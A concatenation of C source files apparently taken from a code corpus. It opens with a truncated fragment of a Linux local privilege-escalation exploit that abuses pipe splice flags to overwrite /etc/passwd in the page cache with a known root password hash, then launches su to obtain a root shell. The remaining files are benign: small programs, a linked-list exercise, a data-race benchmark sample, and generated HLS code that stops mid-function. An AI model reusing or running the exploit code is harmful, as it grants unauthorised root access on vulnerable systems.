FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}
|
the_stack_data/555175.c | #include <stdio.h>
void funkcja1(void);
void funkcja2(void);
int main(void)
{
funkcja1();
funkcja1();
funkcja2();
return 0;
}
void funkcja1(void)
{
printf("Panie Janie!\n");
}
void funkcja2(void)
{
printf("Rano wstan!\n");
}
|
the_stack_data/1042333.c | #include <pthread.h>
#include <stdbool.h>
int nondet_int(void);
int global = 0;
int badgers;
int batsignal = 0;
void *
thread(void *dummy)
{
assert(batsignal == 0);
pthread_exit(NULL);
}
int
main()
{
badgers = nondet_int();
int nou;
pthread_t face;
pthread_create(&face, NULL, thread, NULL);
// Plase a false guard into state guard
if (global == 1) {
nou++;
}
// And now when removing it, we remove a non-false guard, so the false sticks
// around.
if (badgers == 0) {
nou++;
}
// Enable assertion in the other thread; it doesn't fire because false is
// still in the thread guard.
batsignal = 1;
return 0;
}
|
the_stack_data/200143040.c | #include <stdio.h>
#include <stdlib.h>
void print_mat(int **A, int m, int n){
int i, j;
for (i=0; i<m; i++){
for (j=0; j<n; j++){
printf("%i ", A[i][j]);
}
printf("\n");
}
}
void binary_gaussian_elimination(int **A, int m, int n){
int i, j, k, pivot_row_index, pivot_cond, temp, n_pivot;
n_pivot = 0;
for (j=0; j<n; j++){
// Find pivot
pivot_cond=0;
pivot_row_index = n_pivot;
//printf("***[ %i ]***\n", j);
//print_mat(A, m, n);
while (pivot_row_index < m && pivot_cond == 0){
//printf("\t\t %i (%i)\n", pivot_row_index, A[pivot_row_index][j]);
if (A[pivot_row_index][j] == 1){
pivot_cond = 1;
n_pivot += 1;
break;}
pivot_row_index += 1;}
//printf("Col: %i\nPivot Row: %i (%i)\nN Pivot: %i\n", j, pivot_row_index, pivot_cond, n_pivot);
// If the pivot is not at j, swap rows
if (pivot_cond==1 && pivot_row_index!=(n_pivot-1)){
//printf("\tswapping (%i, %i)\n", pivot_row_index, n_pivot-1);
for (i=0; i<n; i++){
temp = A[pivot_row_index][i];
A[pivot_row_index][i] = A[n_pivot-1][i];
A[n_pivot-1][i] = temp;}
}
// Add rows mod 2
if (pivot_cond == 1){
for (i=0; i<m; i++){
if (i != (n_pivot-1) && A[i][j] == 1){
//printf("\tsumming (%i, %i)\n", i, n_pivot-1);
for (k=0; k<n; k++)
A[i][k] = (A[i][k] + A[n_pivot-1][k]) % 2;
}
}
}
}
}
void mat_vec_mod2(int **A, int *x, int *y, int m, int n){
// Ax=y (all done mod 2)
int i, j;
for (i=0; i<m; i++){
for (j=0; j<n; j++)
y[i] += A[i][j]*x[j];
y[i] = y[i] % 2;}
}
|
the_stack_data/98576565.c | #include <stdio.h>
#include <stdlib.h>
struct node
{
int value; // значение, которое хранит узел
struct node *next; // ссылка на следующий элемент списка
};
struct list
{
struct node *head; // начало списка
struct node *tail; // конец списка
};
// инициализация пустого списка
void init(struct list* l)
{
/* struct node *nd;
// выделение памяти под корень списка
nd = (struct node*)malloc(sizeof(struct node));
nd->next = NULL;
nd->value = NULL;
*/
l->head = NULL;
l->tail = NULL;
}
//удалить все элементы из списка
void clear(struct list* l)
{
struct node *buf;
/*
if (l->head == NULL)
{
printf("list_empty");
}
*/
while(l->head != NULL)
{
buf = l->head;
l->head = l->head->next;
free(buf);
//printf("element_deleted");
}
}
// проверка на пустоту списка
int isEmpty(struct list* l)
{
if(l->head == NULL)
{
return 1;
}
return 0;
}
// поиск элемента по значению. вернуть NULL если элемент не найден
struct node* find(struct list* l, int value)
{
struct node *buf;
buf = l->head;
while(buf != NULL)
{
if(buf->value == value)
{
return buf;
}
else
{
buf = buf->next;
}
}
return NULL;
}
// вставка значения в конец списка, вернуть 0 если успешно
int push_back(struct list* l, int value)
{
//printf("1");
struct node *buf;
buf = l->tail;
//printf("2");
struct node *nd;
// выделение памяти под корень списка
nd = (struct node*)malloc(sizeof(struct node));
nd->next = NULL;
nd->value = value;
//printf("3");
l->tail = nd;
if(l->head == NULL)
{
l->head = nd;
}
else
{
buf->next = nd;
}
//printf("4");
if(l->tail->value == value)
{
//printf("end");
return 0;
}
return 1;
}
// вставка значения в начало списка, вернуть 0 если успешно
int push_front(struct list* l, int value)
{
//printf("1");
struct node *buf;
buf = l->head;
//printf("2");
struct node *nd;
// выделение памяти под корень списка
nd = (struct node*)malloc(sizeof(struct node));
nd->next = buf;
nd->value = value;
//printf("3");
l->head = nd;
if(l->tail == NULL)
{
l->tail = nd;
}
//printf("4");
if(l->tail->value == value)
{
//printf("end");
return 0;
}
return 1;
}
// вставка значения после указанного узла, вернуть 0 если успешно
int insertAfter(struct list* l, int position, int value)
{
//printf("1 ");
struct node *buf, *sec;
buf = l->head;
//printf("1.5 ");
if(buf == NULL)
{
return 1;
}
for (int i = 1; i < position; i++)
{
if(buf->next == NULL)
{
return 1;
}
buf = buf->next;
}
sec = buf->next;
//printf("2 ");
struct node *nd;
// выделение памяти под корень списка
nd = (struct node*)malloc(sizeof(struct node));
nd->next = sec;
nd->value = value;
//printf("3 ");
buf->next = nd;
if(l->tail == buf)
{
l->tail = nd;
}
//printf("4 ");
if(buf->next->value == value)
{
//printf("end ");
return 0;
}
return 1;
}
// удалить первый элемент из списка с указанным значением,вернуть 0 если успешно
int removeComp(struct list* l, int value)
{
//printf("1 ");
struct node *buf, *sec, *pre;
buf = l->head;
pre = NULL;
//printf("1.5 ");
if(buf == NULL)
{
return 1;
}
while (buf->value != value)
{
if(buf->next == NULL)
{
return 1;
}
pre = buf;
buf = buf->next;
}
sec = buf->next;
//printf("2 ");
free(buf);
//printf("3 ");
if(pre == NULL)
{
l->head = sec;
}
else
{
pre->next = sec;
}
if(sec == NULL)
{
l->tail = pre;
}
//printf("end ");
return 0;
}
// вывести все значения из списка в прямом порядке, через пробел, после окончания вывода перейти на новую строку
void print(struct list* l)
{
struct node *buf;
buf = l->head;
while(buf->next != NULL)
{
printf("%d ", buf->value);
buf = buf->next;
}
printf("%d", buf->value);
printf("\n");
}
void checkFn (struct list* l)
{
print(l);
printf("%d %d \n", l->head->value, l->tail->value);
}
void checkAll ()
{
struct list *mylst;
mylst = (struct list*)malloc(sizeof(struct list));
init(mylst);
clear(mylst);
isEmpty(mylst);
push_back(mylst, 1);
push_back(mylst, 2);
push_back(mylst, 3);
push_back(mylst, 4);
push_back(mylst, 5);
//print(mylst);
checkFn(mylst);
push_front(mylst, -1);
push_front(mylst, -2);
push_front(mylst, -3);
//print(mylst);
checkFn(mylst);
insertAfter(mylst, 6, 123);
insertAfter(mylst, 2, 153);
insertAfter(mylst, 10, 153);
//print(mylst);
checkFn(mylst);
removeComp(mylst, -1);
//print(mylst);
checkFn(mylst);
}
int main()
{
struct list *mylst;
mylst = (struct list*)malloc(sizeof(struct list));
init(mylst);
int n, x;
scanf("%d", &n);
for (int i = 0; i < n; i++)
{
scanf("%d", &x);
push_back(mylst, x);
}
print(mylst);
//3
int k1, k2, k3;
scanf("%d %d %d", &k1, &k2, &k3);
if (find(mylst, k1) != NULL)
{
printf("%d", 1);
}
else{printf("%d", 0);}
if (find(mylst, k2) != NULL)
{
printf("%d", 1);
}
else{printf("%d", 0);}
if (find(mylst, k3) != NULL)
{
printf("%d\n", 1);
}
else{printf("%d\n", 0);}
//5
int m;
scanf("%d", &m);
push_back(mylst, m);
print(mylst);
//7
int t;
scanf("%d", &t);
push_front(mylst, t);
print(mylst);
//9
int j;
scanf("%d %d", &j, &x);
insertAfter(mylst, j, x);
print(mylst);
//11
int z;
scanf("%d", &z);
removeComp(mylst, z);
print(mylst);
//13
clear(mylst);
return 0;
}
|
the_stack_data/206392271.c | /*
Copyright (c) 2017, Lawrence Livermore National Security, LLC.
Produced at the Lawrence Livermore National Laboratory
Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund,
Markus Schordan, and Ian Karlin
(email: [email protected], [email protected], [email protected],
[email protected], [email protected])
LLNL-CODE-732144
All rights reserved.
This file is part of DataRaceBench. For details, see
https://github.com/LLNL/dataracebench. Please also see the LICENSE file
for our additional BSD notice.
Redistribution and use in source and binary forms, with
or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the disclaimer below.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the disclaimer (as noted below)
in the documentation and/or other materials provided with the
distribution.
* Neither the name of the LLNS/LLNL nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL
SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
Two nested loops with loop-carried anti-dependence on the outer level.
This is a variable-length array version in C99.
Data race pair: a[i][j]@70:7 vs. a[i+1][j]@70:18
*/
#include <stdlib.h>
int main(int argc,char *argv[])
{
int i, j;
int len = 20;
if (argc>1)
len = atoi(argv[1]);
double a[len][len];
for (i=0; i< len; i++)
for (j=0; j<len; j++)
a[i][j] = 0.5;
for (i = 0; i < len - 1; i += 1) {
for (j = 0; j < len ; j += 1) {
a[i][j] += a[i + 1][j];
}
}
for (i=0; i< len; i++)
for (j=0; j<len; j++)
printf("%lf\n",a[i][j]);
return 0;
}
|
the_stack_data/1028422.c | #include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <float.h>
#define NUM_CLASSES 2
#define MAXDISTANCE DBL_MAX
#define sqr(x) ((x)*(x))
void parallel_0(float knownFeatures[2][128], float xFeatures[128], float distance_array[2]) {
// Step 2: Initialize local variables
float distance_w1;
float distance_w10;
float distance_w100;
float distance_w101;
float distance_w102;
float distance_w103;
float distance_w104;
float distance_w105;
float distance_w106;
float distance_w107;
float distance_w108;
float distance_w109;
float distance_w11;
float distance_w110;
float distance_w111;
float distance_w112;
float distance_w113;
float distance_w114;
float distance_w115;
float distance_w116;
float distance_w117;
float distance_w118;
float distance_w119;
float distance_w12;
float distance_w120;
float distance_w121;
float distance_w122;
float distance_w123;
float distance_w124;
float distance_w125;
float distance_w126;
float distance_w127;
float distance_w13;
float distance_w14;
float distance_w15;
float distance_w16;
float distance_w17;
float distance_w18;
float distance_w19;
float distance_w2;
float distance_w20;
float distance_w21;
float distance_w22;
float distance_w23;
float distance_w24;
float distance_w25;
float distance_w26;
float distance_w27;
float distance_w28;
float distance_w29;
float distance_w3;
float distance_w30;
float distance_w31;
float distance_w32;
float distance_w33;
float distance_w34;
float distance_w35;
float distance_w36;
float distance_w37;
float distance_w38;
float distance_w39;
float distance_w4;
float distance_w40;
float distance_w41;
float distance_w42;
float distance_w43;
float distance_w44;
float distance_w45;
float distance_w46;
float distance_w47;
float distance_w48;
float distance_w49;
float distance_w5;
float distance_w50;
float distance_w51;
float distance_w52;
float distance_w53;
float distance_w54;
float distance_w55;
float distance_w56;
float distance_w57;
float distance_w58;
float distance_w59;
float distance_w6;
float distance_w60;
float distance_w61;
float distance_w62;
float distance_w63;
float distance_w64;
float distance_w65;
float distance_w66;
float distance_w67;
float distance_w68;
float distance_w69;
float distance_w7;
float distance_w70;
float distance_w71;
float distance_w72;
float distance_w73;
float distance_w74;
float distance_w75;
float distance_w76;
float distance_w77;
float distance_w78;
float distance_w79;
float distance_w8;
float distance_w80;
float distance_w81;
float distance_w82;
float distance_w83;
float distance_w84;
float distance_w85;
float distance_w86;
float distance_w87;
float distance_w88;
float distance_w89;
float distance_w9;
float distance_w90;
float distance_w91;
float distance_w92;
float distance_w93;
float distance_w94;
float distance_w95;
float distance_w96;
float distance_w97;
float distance_w98;
float distance_w99;
float temp_l77_i100_w1;
float temp_l77_i101_w1;
float temp_l77_i102_w1;
float temp_l77_i103_w1;
float temp_l77_i104_w1;
float temp_l77_i105_w1;
float temp_l77_i106_w1;
float temp_l77_i107_w1;
float temp_l77_i108_w1;
float temp_l77_i109_w1;
float temp_l77_i10_w1;
float temp_l77_i110_w1;
float temp_l77_i111_w1;
float temp_l77_i112_w1;
float temp_l77_i113_w1;
float temp_l77_i114_w1;
float temp_l77_i115_w1;
float temp_l77_i116_w1;
float temp_l77_i117_w1;
float temp_l77_i118_w1;
float temp_l77_i119_w1;
float temp_l77_i11_w1;
float temp_l77_i120_w1;
float temp_l77_i121_w1;
float temp_l77_i122_w1;
float temp_l77_i123_w1;
float temp_l77_i124_w1;
float temp_l77_i125_w1;
float temp_l77_i126_w1;
float temp_l77_i127_w1;
float temp_l77_i128_w1;
float temp_l77_i12_w1;
float temp_l77_i13_w1;
float temp_l77_i14_w1;
float temp_l77_i15_w1;
float temp_l77_i16_w1;
float temp_l77_i17_w1;
float temp_l77_i18_w1;
float temp_l77_i19_w1;
float temp_l77_i1_w1;
float temp_l77_i20_w1;
float temp_l77_i21_w1;
float temp_l77_i22_w1;
float temp_l77_i23_w1;
float temp_l77_i24_w1;
float temp_l77_i25_w1;
float temp_l77_i26_w1;
float temp_l77_i27_w1;
float temp_l77_i28_w1;
float temp_l77_i29_w1;
float temp_l77_i2_w1;
float temp_l77_i30_w1;
float temp_l77_i31_w1;
float temp_l77_i32_w1;
float temp_l77_i33_w1;
float temp_l77_i34_w1;
float temp_l77_i35_w1;
float temp_l77_i36_w1;
float temp_l77_i37_w1;
float temp_l77_i38_w1;
float temp_l77_i39_w1;
float temp_l77_i3_w1;
float temp_l77_i40_w1;
float temp_l77_i41_w1;
float temp_l77_i42_w1;
float temp_l77_i43_w1;
float temp_l77_i44_w1;
float temp_l77_i45_w1;
float temp_l77_i46_w1;
float temp_l77_i47_w1;
float temp_l77_i48_w1;
float temp_l77_i49_w1;
float temp_l77_i4_w1;
float temp_l77_i50_w1;
float temp_l77_i51_w1;
float temp_l77_i52_w1;
float temp_l77_i53_w1;
float temp_l77_i54_w1;
float temp_l77_i55_w1;
float temp_l77_i56_w1;
float temp_l77_i57_w1;
float temp_l77_i58_w1;
float temp_l77_i59_w1;
float temp_l77_i5_w1;
float temp_l77_i60_w1;
float temp_l77_i61_w1;
float temp_l77_i62_w1;
float temp_l77_i63_w1;
float temp_l77_i64_w1;
float temp_l77_i65_w1;
float temp_l77_i66_w1;
float temp_l77_i67_w1;
float temp_l77_i68_w1;
float temp_l77_i69_w1;
float temp_l77_i6_w1;
float temp_l77_i70_w1;
float temp_l77_i71_w1;
float temp_l77_i72_w1;
float temp_l77_i73_w1;
float temp_l77_i74_w1;
float temp_l77_i75_w1;
float temp_l77_i76_w1;
float temp_l77_i77_w1;
float temp_l77_i78_w1;
float temp_l77_i79_w1;
float temp_l77_i7_w1;
float temp_l77_i80_w1;
float temp_l77_i81_w1;
float temp_l77_i82_w1;
float temp_l77_i83_w1;
float temp_l77_i84_w1;
float temp_l77_i85_w1;
float temp_l77_i86_w1;
float temp_l77_i87_w1;
float temp_l77_i88_w1;
float temp_l77_i89_w1;
float temp_l77_i8_w1;
float temp_l77_i90_w1;
float temp_l77_i91_w1;
float temp_l77_i92_w1;
float temp_l77_i93_w1;
float temp_l77_i94_w1;
float temp_l77_i95_w1;
float temp_l77_i96_w1;
float temp_l77_i97_w1;
float temp_l77_i98_w1;
float temp_l77_i99_w1;
float temp_l77_i9_w1;
// Initialization done
// starting Loop
for( int i = 0; i < 2;i=i+1){
#pragma HLS pipeline
temp_l77_i1_w1 = xFeatures[0] - knownFeatures[i][0];
temp_l77_i2_w1 = xFeatures[1] - knownFeatures[i][1];
temp_l77_i3_w1 = xFeatures[2] - knownFeatures[i][2];
temp_l77_i4_w1 = xFeatures[3] - knownFeatures[i][3];
temp_l77_i5_w1 = xFeatures[4] - knownFeatures[i][4];
temp_l77_i6_w1 = xFeatures[5] - knownFeatures[i][5];
temp_l77_i7_w1 = xFeatures[6] - knownFeatures[i][6];
temp_l77_i8_w1 = xFeatures[7] - knownFeatures[i][7];
temp_l77_i9_w1 = xFeatures[8] - knownFeatures[i][8];
temp_l77_i10_w1 = xFeatures[9] - knownFeatures[i][9];
temp_l77_i11_w1 = xFeatures[10] - knownFeatures[i][10];
temp_l77_i12_w1 = xFeatures[11] - knownFeatures[i][11];
temp_l77_i13_w1 = xFeatures[12] - knownFeatures[i][12];
temp_l77_i14_w1 = xFeatures[13] - knownFeatures[i][13];
temp_l77_i15_w1 = xFeatures[14] - knownFeatures[i][14];
temp_l77_i16_w1 = xFeatures[15] - knownFeatures[i][15];
temp_l77_i17_w1 = xFeatures[16] - knownFeatures[i][16];
temp_l77_i18_w1 = xFeatures[17] - knownFeatures[i][17];
temp_l77_i19_w1 = xFeatures[18] - knownFeatures[i][18];
temp_l77_i20_w1 = xFeatures[19] - knownFeatures[i][19];
temp_l77_i21_w1 = xFeatures[20] - knownFeatures[i][20];
temp_l77_i22_w1 = xFeatures[21] - knownFeatures[i][21];
temp_l77_i23_w1 = xFeatures[22] - knownFeatures[i][22];
temp_l77_i24_w1 = xFeatures[23] - knownFeatures[i][23];
temp_l77_i25_w1 = xFeatures[24] - knownFeatures[i][24];
temp_l77_i26_w1 = xFeatures[25] - knownFeatures[i][25];
temp_l77_i27_w1 = xFeatures[26] - knownFeatures[i][26];
temp_l77_i28_w1 = xFeatures[27] - knownFeatures[i][27];
temp_l77_i29_w1 = xFeatures[28] - knownFeatures[i][28];
temp_l77_i30_w1 = xFeatures[29] - knownFeatures[i][29];
temp_l77_i31_w1 = xFeatures[30] - knownFeatures[i][30];
temp_l77_i32_w1 = xFeatures[31] - knownFeatures[i][31];
temp_l77_i33_w1 = xFeatures[32] - knownFeatures[i][32];
temp_l77_i34_w1 = xFeatures[33] - knownFeatures[i][33];
temp_l77_i35_w1 = xFeatures[34] - knownFeatures[i][34];
temp_l77_i36_w1 = xFeatures[35] - knownFeatures[i][35];
temp_l77_i37_w1 = xFeatures[36] - knownFeatures[i][36];
temp_l77_i38_w1 = xFeatures[37] - knownFeatures[i][37];
temp_l77_i39_w1 = xFeatures[38] - knownFeatures[i][38];
temp_l77_i40_w1 = xFeatures[39] - knownFeatures[i][39];
temp_l77_i41_w1 = xFeatures[40] - knownFeatures[i][40];
temp_l77_i42_w1 = xFeatures[41] - knownFeatures[i][41];
temp_l77_i43_w1 = xFeatures[42] - knownFeatures[i][42];
temp_l77_i44_w1 = xFeatures[43] - knownFeatures[i][43];
temp_l77_i45_w1 = xFeatures[44] - knownFeatures[i][44];
temp_l77_i46_w1 = xFeatures[45] - knownFeatures[i][45];
temp_l77_i47_w1 = xFeatures[46] - knownFeatures[i][46];
temp_l77_i48_w1 = xFeatures[47] - knownFeatures[i][47];
temp_l77_i49_w1 = xFeatures[48] - knownFeatures[i][48];
temp_l77_i50_w1 = xFeatures[49] - knownFeatures[i][49];
temp_l77_i51_w1 = xFeatures[50] - knownFeatures[i][50];
temp_l77_i52_w1 = xFeatures[51] - knownFeatures[i][51];
temp_l77_i53_w1 = xFeatures[52] - knownFeatures[i][52];
temp_l77_i54_w1 = xFeatures[53] - knownFeatures[i][53];
temp_l77_i55_w1 = xFeatures[54] - knownFeatures[i][54];
temp_l77_i56_w1 = xFeatures[55] - knownFeatures[i][55];
temp_l77_i57_w1 = xFeatures[56] - knownFeatures[i][56];
temp_l77_i58_w1 = xFeatures[57] - knownFeatures[i][57];
temp_l77_i59_w1 = xFeatures[58] - knownFeatures[i][58];
temp_l77_i60_w1 = xFeatures[59] - knownFeatures[i][59];
temp_l77_i61_w1 = xFeatures[60] - knownFeatures[i][60];
temp_l77_i62_w1 = xFeatures[61] - knownFeatures[i][61];
temp_l77_i63_w1 = xFeatures[62] - knownFeatures[i][62];
temp_l77_i64_w1 = xFeatures[63] - knownFeatures[i][63];
temp_l77_i65_w1 = xFeatures[64] - knownFeatures[i][64];
temp_l77_i66_w1 = xFeatures[65] - knownFeatures[i][65];
temp_l77_i67_w1 = xFeatures[66] - knownFeatures[i][66];
temp_l77_i68_w1 = xFeatures[67] - knownFeatures[i][67];
temp_l77_i69_w1 = xFeatures[68] - knownFeatures[i][68];
temp_l77_i70_w1 = xFeatures[69] - knownFeatures[i][69];
temp_l77_i71_w1 = xFeatures[70] - knownFeatures[i][70];
temp_l77_i72_w1 = xFeatures[71] - knownFeatures[i][71];
temp_l77_i73_w1 = xFeatures[72] - knownFeatures[i][72];
temp_l77_i74_w1 = xFeatures[73] - knownFeatures[i][73];
temp_l77_i75_w1 = xFeatures[74] - knownFeatures[i][74];
temp_l77_i76_w1 = xFeatures[75] - knownFeatures[i][75];
temp_l77_i77_w1 = xFeatures[76] - knownFeatures[i][76];
temp_l77_i78_w1 = xFeatures[77] - knownFeatures[i][77];
temp_l77_i79_w1 = xFeatures[78] - knownFeatures[i][78];
temp_l77_i80_w1 = xFeatures[79] - knownFeatures[i][79];
temp_l77_i81_w1 = xFeatures[80] - knownFeatures[i][80];
temp_l77_i82_w1 = xFeatures[81] - knownFeatures[i][81];
temp_l77_i83_w1 = xFeatures[82] - knownFeatures[i][82];
temp_l77_i84_w1 = xFeatures[83] - knownFeatures[i][83];
temp_l77_i85_w1 = xFeatures[84] - knownFeatures[i][84];
temp_l77_i86_w1 = xFeatures[85] - knownFeatures[i][85];
temp_l77_i87_w1 = xFeatures[86] - knownFeatures[i][86];
temp_l77_i88_w1 = xFeatures[87] - knownFeatures[i][87];
temp_l77_i89_w1 = xFeatures[88] - knownFeatures[i][88];
temp_l77_i90_w1 = xFeatures[89] - knownFeatures[i][89];
temp_l77_i91_w1 = xFeatures[90] - knownFeatures[i][90];
temp_l77_i92_w1 = xFeatures[91] - knownFeatures[i][91];
temp_l77_i93_w1 = xFeatures[92] - knownFeatures[i][92];
temp_l77_i94_w1 = xFeatures[93] - knownFeatures[i][93];
temp_l77_i95_w1 = xFeatures[94] - knownFeatures[i][94];
temp_l77_i96_w1 = xFeatures[95] - knownFeatures[i][95];
temp_l77_i97_w1 = xFeatures[96] - knownFeatures[i][96];
temp_l77_i98_w1 = xFeatures[97] - knownFeatures[i][97];
temp_l77_i99_w1 = xFeatures[98] - knownFeatures[i][98];
temp_l77_i100_w1 = xFeatures[99] - knownFeatures[i][99];
temp_l77_i101_w1 = xFeatures[100] - knownFeatures[i][100];
temp_l77_i102_w1 = xFeatures[101] - knownFeatures[i][101];
temp_l77_i103_w1 = xFeatures[102] - knownFeatures[i][102];
temp_l77_i104_w1 = xFeatures[103] - knownFeatures[i][103];
temp_l77_i105_w1 = xFeatures[104] - knownFeatures[i][104];
temp_l77_i106_w1 = xFeatures[105] - knownFeatures[i][105];
temp_l77_i107_w1 = xFeatures[106] - knownFeatures[i][106];
temp_l77_i108_w1 = xFeatures[107] - knownFeatures[i][107];
temp_l77_i109_w1 = xFeatures[108] - knownFeatures[i][108];
temp_l77_i110_w1 = xFeatures[109] - knownFeatures[i][109];
temp_l77_i111_w1 = xFeatures[110] - knownFeatures[i][110];
temp_l77_i112_w1 = xFeatures[111] - knownFeatures[i][111];
temp_l77_i113_w1 = xFeatures[112] - knownFeatures[i][112];
temp_l77_i114_w1 = xFeatures[113] - knownFeatures[i][113];
temp_l77_i115_w1 = xFeatures[114] - knownFeatures[i][114];
temp_l77_i116_w1 = xFeatures[115] - knownFeatures[i][115];
temp_l77_i117_w1 = xFeatures[116] - knownFeatures[i][116];
temp_l77_i118_w1 = xFeatures[117] - knownFeatures[i][117];
temp_l77_i119_w1 = xFeatures[118] - knownFeatures[i][118];
temp_l77_i120_w1 = xFeatures[119] - knownFeatures[i][119];
temp_l77_i121_w1 = xFeatures[120] - knownFeatures[i][120];
temp_l77_i122_w1 = xFeatures[121] - knownFeatures[i][121];
temp_l77_i123_w1 = xFeatures[122] - knownFeatures[i][122];
temp_l77_i124_w1 = xFeatures[123] - knownFeatures[i][123];
temp_l77_i125_w1 = xFeatures[124] - knownFeatures[i][124];
temp_l77_i126_w1 = xFeatures[125] - knownFeatures[i][125];
temp_l77_i127_w1 = xFeatures[126] - knownFeatures[i][126];
temp_l77_i128_w1 = xFeatures[127] - knownFeatures[i][127];
distance_w62 = sqr(temp_l77_i28_w1) + sqr(temp_l77_i29_w1);
distance_w8 = sqr(temp_l77_i22_w1) + sqr(temp_l77_i23_w1);
distance_w107 = sqr(temp_l77_i50_w1) + sqr(temp_l77_i51_w1);
distance_w24 = sqr(temp_l77_i80_w1) + sqr(temp_l77_i81_w1);
distance_w85 = sqr(temp_l77_i96_w1) + sqr(temp_l77_i97_w1);
distance_w125 = sqr(temp_l77_i112_w1) + sqr(temp_l77_i113_w1);
distance_w30 = sqr(temp_l77_i114_w1) + sqr(temp_l77_i115_w1);
distance_w66 = sqr(temp_l77_i106_w1) + sqr(temp_l77_i107_w1);
distance_w48 = sqr(temp_l77_i64_w1) + sqr(temp_l77_i65_w1);
distance_w56 = sqr(temp_l77_i90_w1) + sqr(temp_l77_i91_w1);
distance_w110 = sqr(temp_l77_i54_w1) + sqr(temp_l77_i55_w1);
distance_w50 = sqr(temp_l77_i116_w1) + sqr(temp_l77_i117_w1);
distance_w104 = sqr(temp_l77_i20_w1) + sqr(temp_l77_i21_w1);
distance_w118 = sqr(temp_l77_i60_w1) + sqr(temp_l77_i61_w1);
distance_w14 = sqr(temp_l77_i12_w1) + sqr(temp_l77_i13_w1);
distance_w89 = sqr(temp_l77_i110_w1) + sqr(temp_l77_i111_w1);
distance_w88 = sqr(temp_l77_i120_w1) + sqr(temp_l77_i121_w1);
distance_w34 = sqr(temp_l77_i126_w1) + sqr(temp_l77_i127_w1);
distance_w1 = sqr(temp_l77_i24_w1) + sqr(temp_l77_i25_w1);
distance_w40 = sqr(temp_l77_i38_w1) + sqr(temp_l77_i39_w1);
distance_w70 = sqr(temp_l77_i88_w1) + sqr(temp_l77_i89_w1);
distance_w101 = sqr(temp_l77_i86_w1) + sqr(temp_l77_i87_w1);
distance_w13 = sqr(temp_l77_i14_w1) + sqr(temp_l77_i15_w1);
distance_w73 = sqr(temp_l77_i16_w1) + sqr(temp_l77_i17_w1);
distance_w92 = sqr(temp_l77_i52_w1) + sqr(temp_l77_i53_w1);
distance_w58 = sqr(temp_l77_i48_w1) + sqr(temp_l77_i49_w1);
distance_w41 = sqr(temp_l77_i10_w1) + sqr(temp_l77_i11_w1);
distance_w47 = sqr(temp_l77_i66_w1) + sqr(temp_l77_i67_w1);
